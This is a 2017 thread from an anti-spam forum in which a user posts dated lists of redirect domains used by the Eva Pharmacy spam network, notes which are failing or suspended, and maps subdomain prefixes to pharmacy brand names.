e100.newdrugmarket.su
e102.fastrxdeal.ru
e244.purepillmall.ru
m100.goodrxoutlet.ru
m102.onlinerxprogram.ru
o100.securerxelement.ru
o102.onlinesmartsale.ru (failing)
o244.familyrxmarket.ru
online.globalmedsmarket.su
orders.canadiandrugsale.ru
private.newsmartstore.ru
refills.thepillscompany.su
rx.purepharmacyinc.su
rx.securesecuresale.ru
securerxelement.ru
web.magicrxcompany.su
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Mon May 22, 2017 5:12 pm

May 22 2017 - list of redirectios, worthy of a red donut prize from mywot

Code: Select all
c100.thehotquality.com
c102.fastsafeshop.trade
e100.newcanadianshop.be
e100.newdrugmarket.su
e102.fastrxdeal.ru
e102.yourhotdeal.win
e244.firstsecuremart.com
e244.purepillmall.ru
homehotdeal.com
m100.hotpilleshop.com
m102.bestrxtrade.com
o100.puredrugassist.eu
o102.goodcarevalue.win
o244.mydruginc.trade
online.globalmedsmarket.su
online.hothotwebmart.eu
orders.canadiandrugsale.ru
orders.purerxcompany.win
private.newsmartstore.ru
private.thetabsmart.trade
puresmarttrade.ru
refills.thepillscompany.su
refills.youronlinetrade.be
rx.familyfastvalue.com
rx.purepharmacyinc.su
securefasteshop.su
web.homepharmquality.be
web.magicrxcompany.su
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Thu Jun 01, 2017 6:08 pm

Latest list, May 29 2017 - June 1 2017

* c102.fastsafeshop.trade - failing
* e100.newcanadianshop.be - suspended by registrar
* e102.yourhotdeal.win - failing
* m102.bestrxtrade.com - failing
* o100.puredrugassist.eu - suspended by registrar
* o244.mydruginc.trade - failing
* orders.canadiandrugsale.ru - failing
* orders.purerxcompany.win - failing
* private.thetabsmart.trade - failing
* refills.youronlinetrade.be - suspended by registrar
* web.homepharmquality.be - suspended by registrar
c100.thehotquality.com
c102.trustedrxshop.ru
e102.fastrxdeal.ru
e244.firstsecuremart.com
firstpillstrade.com
homehotdeal.com
m100.hotpilleshop.com
mypilloutlet.su
o102.goodcarevalue.win
o244.familyrxmarket.ru
online.hothotwebmart.eu
private.newsmartstore.ru
rx.familyfastvalue.com
securefasteshop.su
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Re: Eva Pharmacy redirections

Postby Red Dwarf » Fri Jun 09, 2017 4:33 pm

Redirections at June 10

e244.fastonlinedeal.eu suspended
o102.goodcarevalue.win suspended

c100.thehotquality.com
c102.trustedrxshop.ru
e100.firstcaremarket.eu
e102.fastrxdeal.ru
m100.hotpilleshop.com
m102.onlinerxprogram.ru
magicfirstsale.com
mypilloutlet.su
o100.securerxelement.ru
o102.bestrxelement.ru
o244.familyrxmarket.ru
online.globalmedsmarket.su
orders.naturalcaresale.ru
private.newsmartstore.ru
refills.safepillsoutlet.ru
rx.familyfastvalue.com
securefasteshop.su
web.magicrxcompany.su

NOTE:
Prefixes starting with C (C100, C102 etc) are Canadian Health&Care Mall
Prefixes starting with M (M100, M102 etc) are My Canadian Pharmacy
Prefixes starting with O (O100, O244 etc) are RxMedications
The rest (refills, private, online, web, rx, E100, E102, E244 etc) are RxExpressOnline
User avatar
Red Dwarf
You are kiillllling-a my bizinisss!
 
Posts: 10519
Joined: Tue Jun 27, 2006 2:01 am

Previous

Return to Fight Spammers

Who is online

Users browsing this forum: Baidu [Spider] and 1 guest

cron